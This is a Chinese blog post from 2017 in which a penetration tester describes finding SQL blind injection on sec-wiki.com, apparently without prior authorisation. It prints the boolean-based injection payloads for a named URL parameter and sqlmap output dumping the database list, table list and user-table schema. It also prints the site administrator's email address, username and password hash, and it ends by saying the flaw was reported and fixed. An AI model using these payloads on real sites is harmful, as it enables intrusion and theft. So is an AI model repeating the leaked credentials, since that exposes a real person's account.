释放双眼，带上耳机，听听看~！
我差点脱了SecWiKi.com的库子0x01 今天是2017-08-14日，晴，风吹的蛋蛋有点凉，今天是我来乌鲁木齐市的第114天。 作者：Bearc
我差点脱了SecWiKi.com的库子
0x01
今天是2017-08-14日，晴，风吹的蛋蛋有点凉，今天是我来乌鲁木齐市的第114天。
作者：Bearcat 做渗透测试工作。
0x02
那天无意间翻到了https://www.sec-wiki.com/这个站点，里面的资料还不错，就随手翻了翻，发现一处可能存在SQL盲注。
注入地址：https://www.sec-wiki.com/book 发现左边的菜单栏全存在SQL盲注漏洞。 
随便用一个注入点：https://www.sec-wiki.com/book/index/type/binvul
Payload：
binvul' AND 2*3*8=6*8 AND '000pewu'='000pewu => TRUE binvul' AND 2*3*8=6*9 AND '000pewu'='000pewu => FALSE binvul' AND 3*3<(2*4) AND '000pewu'='000pewu => FALSE binvul' AND 3*2>(1*5) AND '000pewu'='000pewu => TRUE binvul' AND 3*2*0>=0 AND '000pewu'='000pewu => TRUE binvul' AND 3*3*9<(2*4) AND '000pewu'='000pewu => FALSE binvul' AND 5*4=20 AND '000pewu'='000pewu => TRUE binvul' AND 5*4=21 AND '000pewu'='000pewu => FALSE binvul' AND 5*6<26 AND '000pewu'='000pewu => FALSE binvul' AND 7*7>48 AND '000pewu'='000pewu => TRUE binvul' AND 3*2*0=6 AND '000pewu'='000pewu => FALSE binvul' AND 3*2*1=6 AND '000pewu'='000pewu => TRUE
使用payload发现存在SQL盲注，便使用sqlmap去注入。
发现的确存在SQL注入漏洞。
数据库：
available databases [2]: [*] information_schema [*] wiki
wiki库的表：
Database: wiki [17 tables] +------------+ | ts_book | | ts_comment | | ts_cover | | ts_event | | ts_file | | ts_jobs | | ts_lookup | | ts_nav | | ts_news | | ts_opml | | ts_roadmap | | ts_skill | | ts_tag | | ts_topic | | ts_url | | ts_user | | ts_vuln | +------------+
ts_user表是用户表 ，2949条黑阔数据。
ts_user表字段：
Database: wiki Table: ts_user [13 columns] +-------------+------------------+ | Column | Type | +-------------+------------------+ | create_time | int(20) | | email | char(40) | | id | int(10) unsigned | | last_time | int(20) | | lastip | varchar(30) | | password | char(50) | | photo | varchar(50) | | profile | char(150) | | regip | varchar(30) | | reset | varchar(50) | | salt | char(20) | | url | char(150) | | username | char(15) | +-------------+------------------+
管理员字段值信息：
[12:16:45] [INFO] resumed: 1366560376 [12:16:45] [INFO] resuming partial value: [12:16:45] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [12:16:45] [INFO] retrieved: youstar@foxmail.com [12:17:39] [INFO] retrieved: 1 [12:17:43] [INFO] retrieved: abca4bbff967482fdea00ae7b64aeac1 [12:21:39] [INFO] retrieved: admin [12:21:56] [INFO] retrieved: [12:22:28] [WARNING] turning off pre-connect mechanism because of co
数据库路径：/usr/lib/mysql/plugin
数据库版本：5.5.55
0x03
联系到了SecWIKI的负责人ourren
此时漏洞已修复，默默付出的Bearcat
0x03
————————————视频演示区——————————————
得罪了 ourren老表
指尖安全QQ群519224352 欢迎各位大佬搞基。
